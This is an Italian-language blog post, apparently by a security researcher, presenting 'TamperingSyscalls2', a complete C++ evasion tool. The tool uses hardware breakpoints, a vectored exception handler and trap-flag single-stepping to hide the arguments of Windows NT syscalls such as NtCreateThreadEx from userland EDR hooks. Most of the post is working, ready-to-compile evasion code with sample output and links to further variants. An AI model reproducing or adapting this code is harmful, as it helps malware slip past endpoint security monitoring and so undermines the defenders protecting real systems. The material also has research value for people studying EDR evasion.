Non ho bisogno di descrivere perché questo sarebbe desiderabile e super EPIC né di addentrarmi nell'hooking in userland, poiché non sono gli argomenti in questione o di interesse, e sono già stati trattati approfonditamente più volte [5].
Creiamo una nuova mappatura usando (address | ThreadID) come chiave univoca, e il valore è una struttura contenente gli argomenti della funzione. Creeremo una nuova voce nella nostra mappatura all'ingresso della syscall e azzereremo i valori nei registri e nello stack.
Usiamo il single-stepping (tramite il trap flag) per fingere di avere più registri di debug di quanti ne abbiamo realmente. Possiamo farlo, dato che sappiamo quando e dove devono verificarsi azioni specifiche.
Quando raggiungiamo l'indirizzo di syscall desiderato, ripristiniamo i nostri valori dalla voce della hashmap associata alla nostra chiave. Questo riporterà i valori dello stack nei registri. Continuiamo poi a eseguire il single-step fino all'istruzione di ritorno, dove smetteremo di fare single-step e proseguiremo!
Questo ci consente in ultima analisi un hooking senza tipi. Inoltre, inizialmente abbiamo specificato che nasconderemo solo 12 argomenti, 4 dai registri e 8 dallo stack. Questo valore "8" è solo arbitrario ma raccomandato; nascondere o modificare più valori/argomenti nello stack potrebbe produrre comportamenti indesiderati.
Il nostro call stack dovrebbe già provenire da una DLL adeguata, quindi non dovresti aver bisogno di chiamare le funzioni Native e puoi chiamare un wrapper adatto da qualsiasi DLL, a condizione di chiamare il costruttore con l'indirizzo della funzione Native in NTDLL.
Questo è banale e può essere ottenuto modificando la macro:
#define STK_ARGS 8 // 12 - 4 = 8 - should cover most Nt functions.
Nell'esempio mostriamo il funzionamento con NtCreateThreadEx e NtCreateMutant! Assicurati di utilizzare solo i 4 registri di debug singolarmente per thread. Una volta terminato con una funzione specifica, puoi liberare il registro di debug associato chiamando il metodo RemoveHWBPS.
const auto key = (address + 0x12) | GetCurrentThreadId();
SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;
SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;
SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;
SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
SYSCALL_MAP[key].stk[idx] =
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);
}
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->Rdx = 0;
ExceptionInfo->ContextRecord->R8 = 0;
ExceptionInfo->ContextRecord->R9 = 0;
// ...
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
ExceptionInfo->ContextRecord->EFlags |= (1 << 8); // Trap Flag
// mov rcx, r10 ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx; ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx; ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx; ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8; ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;
for (size_t idx = 0; idx < STK_ARGS; idx++) { const size_t offset = idx * 0x8 + 0x28; *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = SYSCALL_MAP[key].stk[idx]; }
- Eseguiremo di nuovo il single step.
3. Ora siamo a (address == ai.return_addr)
- Ora possiamo smettere di eseguire il single step e impostare solo il Resume Flag (non il Trap Flag)
- Questo continuerà l'esecuzione, come al solito, influenzando solo minimamente le prestazioni.
La tecnica descritta in precedenza è implementata, concentrandosi sul nascondere TUTTI gli argomenti
della MAGGIORANZA delle syscall native! E quindi goditi questa soluzione elegante e semplice
dove fornisco anche le istruzioni di debug print, così puoi vedere le modifiche apportate
allo stack e ai registri e i processi di pensiero dietro tutto ciò.```C
//////////////////////////////////////////////////////////////////////////////////////////
/* TamperingSyscalls2.cpp - @rad9800 */
/* C++ Generic x64 user-land evasion technique utilizing HWBP.cpp */
/* Hides up to 12 args of up to 4 NT calls per thread */
//////////////////////////////////////////////////////////////////////////////////////////
#include <windows.h>
#include <tlhelp32.h>
#include <functional>
//////////////////////////////////////////////////////////////////////////////////////////
/* Structs */
//////////////////////////////////////////////////////////////////////////////////////////
// 12 - 4 = 8 - should cover most Nt functions.
#define STK_ARGS 8 // Increase this value, works until ~100...
typedef struct {
uintptr_t syscall_addr; // +0x12
uintptr_t return_addr; // +0x14
} ADDRESS_INFORMATION;
typedef struct {
uintptr_t Rcx; // First
uintptr_t Rdx; // Second
uintptr_t R8; // Third
uintptr_t R9; // Fourth
uintptr_t stk[STK_ARGS]; // Stack args
} FUNC_ARGS;
//////////////////////////////////////////////////////////////////////////////////////////
/* Macros */
//////////////////////////////////////////////////////////////////////////////////////////
#define PRINT_ARGS( State, ExceptionInfo ) \
printf("%s %d arguments and stack for 0x%p || TID : 0x%x\n", \
State, (STK_ARGS + 4), (PVOID)address, GetCurrentThreadId()); \
printf("1:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rcx); \
printf("2:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rdx); \
printf("3:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R8); \
printf("4:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R9); \
for (UINT idx = 0; idx < STK_ARGS; idx++){ \
const size_t offset = idx * 0x8 + 0x28; \
printf("%d:\t0x%p\n", (idx + 5), (PVOID)*(PULONG64) \
((ExceptionInfo)->ContextRecord->Rsp + offset)); \
}
//////////////////////////////////////////////////////////////////////////////////////////
/* Globals */
//////////////////////////////////////////////////////////////////////////////////////////
std::unordered_map<uintptr_t, ADDRESS_INFORMATION> ADDRESS_MAP{ 0 };
// syscall opcode { 0x55 } address, func args in registers and stack
std::unordered_map<uintptr_t, FUNC_ARGS> SYSCALL_MAP{ 0 };
//////////////////////////////////////////////////////////////////////////////////////////
/* Functions */
//////////////////////////////////////////////////////////////////////////////////////////
VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init)
{
CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
GetThreadContext(thd, &context);
if (init) {
(&context.Dr0)[pos] = address;
context.Dr7 &= ~(3ull << (16 + 4 * pos));
context.Dr7 &= ~(3ull << (18 + 4 * pos));
context.Dr7 |= 1ull << (2 * pos);
}
else {
if ((&context.Dr0)[pos] == address) {
context.Dr7 &= ~(1ull << (2 * pos));
(&context.Dr0)[pos] = NULL;
}
}
SetThreadContext(thd, &context);
}
// Find our ret ROP gadget (pointer decay so need explicit size)
uintptr_t FindRopAddress(const uintptr_t function, const BYTE* stub, const UINT size)
{
for (unsigned int i = 0; i < (unsigned int)25; i++)
{
// memcmp WILL be optimized
if (memcmp((LPVOID)(function + i), stub, size) == 0) {
return (function + i);
}
}
return NULL;
}
DWORD WINAPI TestThread(LPVOID lpParameter);
//////////////////////////////////////////////////////////////////////////////////////////
/* Classes */
//////////////////////////////////////////////////////////////////////////////////////////
struct TS2_HWBP {
private:
const uintptr_t address;
UINT pos;
public:
TS2_HWBP(const uintptr_t address, const UINT idx) : address{ address },
pos{ idx % 4 }
{
SetHWBP(GetCurrentThread(), address, pos, true);
BYTE syscop[] = { 0x0F, 0x05 };
ADDRESS_MAP[address].syscall_addr =
FindRopAddress(address, syscop, sizeof(syscop));
BYTE retnop[] = { 0xC3 };
ADDRESS_MAP[address].return_addr =
FindRopAddress(address, retnop, sizeof(retnop));
};
VOID RemoveHWBPS()
{
SetHWBP(GetCurrentThread(), address, pos, false);
}
~TS2_HWBP()
{
RemoveHWBPS();
}
};
//////////////////////////////////////////////////////////////////////////////////////////
/* Exception Handler */
//////////////////////////////////////////////////////////////////////////////////////////
LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo)
{
const auto address = ExceptionInfo->ContextRecord->Rip;
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
{
for (const auto& [syscall_instr, ai] : ADDRESS_MAP)
{
// check we are inside valid syscall instructions
if ((address >= syscall_instr) && (address <= ai.return_addr)) {
printf("0x%p >= 0x%p\n", (PVOID)address, (PVOID)syscall_instr);
printf("0x%p <= 0x%p\n", (PVOID)address, (PVOID)ai.return_addr);
if (address == syscall_instr) // mov r10, rcx
{
const auto key = (address + 0x12) | GetCurrentThreadId();
SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;
SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;
SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;
SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
SYSCALL_MAP[key].stk[idx] =
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);
}
PRINT_ARGS("HIDING", ExceptionInfo);
ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->Rdx = 0;
ExceptionInfo->ContextRecord->R8 = 0;
ExceptionInfo->ContextRecord->R9 = 0;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = 0ull;
}
PRINT_ARGS("HIDDEN", ExceptionInfo);
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
}
else if (address == ai.syscall_addr)
{
auto const key = (address | GetCurrentThreadId());
// SSN in ExceptionInfo->ContextRecord->Rax
// mov rcx, r10
ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx;
ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8;
ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;
for (size_t idx = 0; idx < STK_ARGS; idx++)
{
const size_t offset = idx * 0x8 + 0x28;
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =
SYSCALL_MAP[key].stk[idx];
}
PRINT_ARGS("RESTORED", ExceptionInfo);
SYSCALL_MAP.erase(key);
}
else if (address == ai.return_addr)
{
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
return EXCEPTION_CONTINUE_EXECUTION;
}
ExceptionInfo->ContextRecord->EFlags |= (1 << 8); // Trap Flag
return EXCEPTION_CONTINUE_EXECUTION;
}
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
//////////////////////////////////////////////////////////////////////////////////////////
/* Entry */
//////////////////////////////////////////////////////////////////////////////////////////
int main()
{
const PVOID handler = AddVectoredExceptionHandler(1, ExceptionHandler);
TS2_HWBP TS2NtCreateThreadEx{
(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
"NtCreateThreadEx")),
0
};
for (unsigned int i = 0; i < 2; ++i) {
HANDLE t = CreateThread(nullptr, 0, TestThread, nullptr, 0, nullptr);
if (t) WaitForSingleObject(t, INFINITE);
}
TS2NtCreateThreadEx.RemoveHWBPS();
if (handler != nullptr) RemoveVectoredExceptionHandler(handler);
}
DWORD WINAPI TestThread(LPVOID lpParameter)
{
UNREFERENCED_PARAMETER(lpParameter);
printf("\n----TestThread----\n\n");
TS2_HWBP TS2NtCreateMutant{
(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
"NtCreateMutant")),
0
};
HANDLE m = CreateMutexA(NULL, TRUE, "rad98");
if (m) CloseHandle(m);
return 0;
}
//////////////////////////////////////////////////////////////////////////////////////////
/* EOF */
//////////////////////////////////////////////////////////////////////////////////////////
Ecco un esempio di output, che mostra gli argomenti per nascondere NtCreateThreadEx.``` 0x00007FFBDF485400 >= 0x00007FFBDF485400 0x00007FFBDF485400 <= 0x00007FFBDF485414 HIDING 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc 1: 0x00000062618FF8D8 2: 0x00000000001FFFFF 3: 0x0000000000000000 4: 0xFFFFFFFFFFFFFFFF 5: 0x00007FF79FB01FA0 6: 0x0000000000000000 7: 0x0000000000000000 8: 0x0000000000000000 9: 0x0000000000000000 10: 0x0000000000000000 11: 0x00000062618FF9F0 12: 0x000001C700000000 HIDDEN 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc 1: 0x0000000000000000 2: 0x0000000000000000 3: 0x0000000000000000 4: 0x0000000000000000 5: 0x0000000000000000 6: 0x0000000000000000 7: 0x0000000000000000 8: 0x0000000000000000 9: 0x0000000000000000 10: 0x0000000000000000 11: 0x0000000000000000 12: 0x0000000000000000 0x00007FFBDF485403 >= 0x00007FFBDF485400 0x00007FFBDF485403 <= 0x00007FFBDF485414 0x00007FFBDF485408 >= 0x00007FFBDF485400 0x00007FFBDF485408 <= 0x00007FFBDF485414 0x00007FFBDF485410 >= 0x00007FFBDF485400 0x00007FFBDF485410 <= 0x00007FFBDF485414 0x00007FFBDF485412 >= 0x00007FFBDF485400 0x00007FFBDF485412 <= 0x00007FFBDF485414 RESTORED 12 arguments and stack for 0x00007FFBDF485412 || TID : 0x9ecc 1: 0x00000062618FF8D8 2: 0x00000000001FFFFF 3: 0x0000000000000000 4: 0xFFFFFFFFFFFFFFFF 5: 0x00007FF79FB01FA0 6: 0x0000000000000000 7: 0x0000000000000000 8: 0x0000000000000000 9: 0x0000000000000000 10: 0x0000000000000000 11: 0x00000062618FF9F0 12: 0x000001C700000000 0x00007FFBDF485414 >= 0x00007FFBDF485400 0x00007FFBDF485414 <= 0x00007FFBDF485414
----TestThread---- [...]
TamperingSyscalls2 (Black Mass) - https://godbolt.org/z/4qrM6j9q7
TamperingSyscalls2 (aggiornato) - https://godbolt.org/z/edf9v1Wj6
TamperingSyscalls2 (C puro) - https://godbolt.org/z/9va7YzEe9
Il codice condiviso dovrebbe funzionare per la maggior parte delle syscall, anche se dovresti testarlo prima dell'uso. L'unica grande limitazione dei lavori presentati è una dipendenza da hashmap (std::unordered_map); internamente ciò chiamerà varie funzioni native indirettamente, come NtAllocateVirtualMemory, impedendoci di hookarle. Questo può essere riadattato per funzionare con x86 con uno sforzo minimo.
In futuro, potresti modificare le librerie per utilizzare il single stepping, come mostrato nell'ultimo esempio. Dovresti sapere quando vuoi fermare il single stepping (un indirizzo o un intervallo) e farlo di conseguenza. Questo può essere usato anche per l'hooking di PAGE_GUARD.
Potresti anche sostituire `AddVectoredExceptionHandler` con:
`SetUnhandledExceptionFilter(ExceptionHandler);`
Riferimenti:
[1] [https://learn.microsoft.com/en-us/windows/win32/debug/using-a-vectored-exception-handler](https://learn.microsoft.com/en-us/windows/win32/debug/using-a-vectored-exception-handler)
[2] [https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
[3] [https://unit42.paloaltonetworks.com/sockdetour/](https://unit42.paloaltonetworks.com/sockdetour/)
[4] [https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/netds/winsock/](https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/netds/winsock/)
[5] [https://fool.ish.wtf/2022/08/tamperingsyscalls.html](https://fool.ish.wtf/2022/08/tamperingsyscalls.html)
[6] [https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs](https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs)
Con tutto ciò, vorrei concludere con una nota positiva; spero che tu abbia compreso il potere GREZZO
INEGUAGLIABILE dei breakpoint hardware!!!
Un saluto a jonas, hjonk, smelly, mez0 e agli altri vecchi ;)```
.
~. .
!~ :^.
^77^ :~!7:
.~!^. ~7!!
:!: :7^.
~!. ~! ...:^~.
!7. .!^ !!!~:
~7. ^7: .7~.
.:^::. .7! !! !~
....:::^~!~. !!: .7^ .!^
.:^~:. :!!:.^!. .~7.
~^^~?^. :!!!~:::::^~7~
.^:~!7!^. ^7^:^~~~~~^:
:^~^:~7~. .77~
:~~:^^~~!!: :~~. -your mate
.!7~:::~!~~!!^ .!^. ^^. rad
!?^^.::^~~~777!~. ^7. .^~^:
^??~^:.:::^~~~!!~!7!!^. .!! .~98. ...^~~~^:
.~7JJ~:^::::::^~~^~~!!~!7JY?^.:...:: :: .~?5: .?G5Y7!:
.:^7JJ777^^~~~~~^^^:^!~~~!7???J7~:^^::.... ... . ^!7.^:.:~ JBYJ~.
.^?5J!~^~~~^^^:::^~~~~~^~~~~!!77??:.^::::....~^::... .: ::~7!.:~^^::^^ ?B7:: .....
~^^~!!!^^~~!!77777~~~~!~!!777????!::..:.. . .^~!!77~~!~^~^ .:. ...^~: . !B7. ~~::.
:. .^!?7:::^^^!!7??J?7!!!!7?7:::. ... .^!77!~^:~!!~:~. ..: J? ... .^~
.^!J:^~^^:::^~7?YYYJ7!!..:. :^^^~77?777!~::^^ . . ....... .. .. ...:~~~!!~
.~~?:^^^^:^^^~^^~!7!~7!:. .^:^777!7??7!!!^:~: . . ....::..... .^~~~^^~^~^
^^7^^!~^^~^^~~~:.:..^!~:^^:~7??7????7!!~^:~: . ... .......... .~J?7!~~^^^^
.~!~^!^^^^^~^..:~^....:~~.^!7JYY5YJJ?77!:.^~ .. .:..~.. .... :5Y?7777~~~^
:~7^^~^^~~~:..::^^:. :!^..:~!!!77???JJ?!^~~!!:. .^::::.::^..: .~J?7~~^^^^^^
~!!.^~!!!^.::::... ^~:..~7JJJ??777!~!!!!!~~~^. .......^^^ ...!J?77!!77?7!~
^7!::~!!^:..:^::.. .~^...^~!77????77!~~~~^^!?!~. . .. .::..:. .^~7Y5YYYJ???!!
^?7::^^~!. :::::. :~: ... .....::::^^^~!!!^. ....:!?~!7!. .^..:?5YYJ?777!!
~?7^^!!7!: ..:... ^~::.:^~^:::.... ..:::~!!..7JJYYYYJJJ??J?JJ
:7!~::~~~~: ... .~^:.:::...^~^:::::...... ......... :!: ~~!7??JJJJJ???777
.:~^~~7!!77!!^ :^:................::....:::.....:.:.. :!: :77J?7!!7??77!~~~~
?J5~7~!!!77!!!!!~^:...~^. .. ........:^^^^:....:.... :!. .~?Y5YJ??J?7!~^^^^
~^::~!!!!!77!!~~~!7!~!^:^~~~~^:.. ....:::^^^::........ :~ .^?JJYJJ777!~^^^
.^??~^!!~^^::~~~^:~!~~!77!!~^^^:. .....::::^:.. .... ^^ .. ..:7J5YJJ?!!~~
.~J!~~~^^:~^::::^^^^!7!!~~~~!!^. .. ...::^......... .^::..:... .^755YJ???7
.^7~^~:^!^:^:^^^^^~!!!!~~~~~~:. .. ...:... .....:^^^:^::: ^JYYY?!~~
^!~:~!~^:^^~~~!~~~~~~~!7!!~: . . .. ..... .:..:^^::::.. .?Y?!!!!~
:!^~^^::::^~~^~~~~~~~!7!77~. . . . . ......:::.. . ^7!7?7~~